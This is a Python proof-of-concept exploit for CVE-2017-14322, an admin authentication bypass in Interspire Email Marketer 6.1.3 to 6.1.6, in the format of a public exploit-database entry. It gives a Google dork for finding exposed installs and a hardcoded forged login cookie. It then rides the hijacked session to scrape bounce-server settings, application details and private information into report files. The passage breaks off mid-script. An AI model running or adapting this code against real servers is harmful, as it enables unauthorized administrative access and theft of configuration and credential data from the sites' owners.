''' # Exploit Title: Interspire Email Marketer - Remote Admin Authentication Bypass # Google Dork: intitle:"Control Panel" + emailmarketer # Date: 4-22-18 # Exploit Author: devcoinfet # Vendor Homepage: www.interspire.com/emailmarketer # Software Link: Can't legally provide link but can be found on net # Version: [6.1.3-6.1.6] # Tested on: Below 6.1.6 # CVE : CVE-2017-14322 https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html https://github.com/joesmithjaffa/CVE-2017-14322 thanks to above Researchers 1. Description this is used like this -------------------------- exploit.py url/email-marketer/admin/index.php 2. Proof of Concept ''' import requests import sys from bs4 import BeautifulSoup from pprint import pprint def cookie_cutter(url): with requests.Session() as s: s.get(url) r = s.get(url) response_regex = r.text print("requesting initial Cookie\n") print(str(r.headers)+"\n") for key,value in s.cookies.items(): if key and "IEMSESSIONID" in key: s.cookies.set('IEM_CookieLogin', "YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D") print("Attempting To Posion 2nd request with Forged Cookie\n") print("-" * 25) r = s.get(url) response_regex2 = r.text print response_regex2 print(str(r.headers) + "\n") if response_regex != response_regex2: for key,value in s.cookies.items(): if "IEMSESSIONID" in key: try: #using session riding from previous cookie we grab the info we want :) bounce_info_grab(url,value) app_info_grab(url,value) privt_info_grab(url,value) except: pass return value,r.text def bounce_info_grab(url,session_to_ride): url_grab = url+"?Page=Settings&Tab=2" print(url_grab) with requests.Session() as s: s.get(url_grab) s.cookies.set('IEMSESSIONID',session_to_ride) r = s.get(url_grab) response_regex = r.text soup = BeautifulSoup(response_regex,'html5lib') div = soup.find('div', id='div7') outfile = open("bounce_report.txt",'w') dataout = """
Report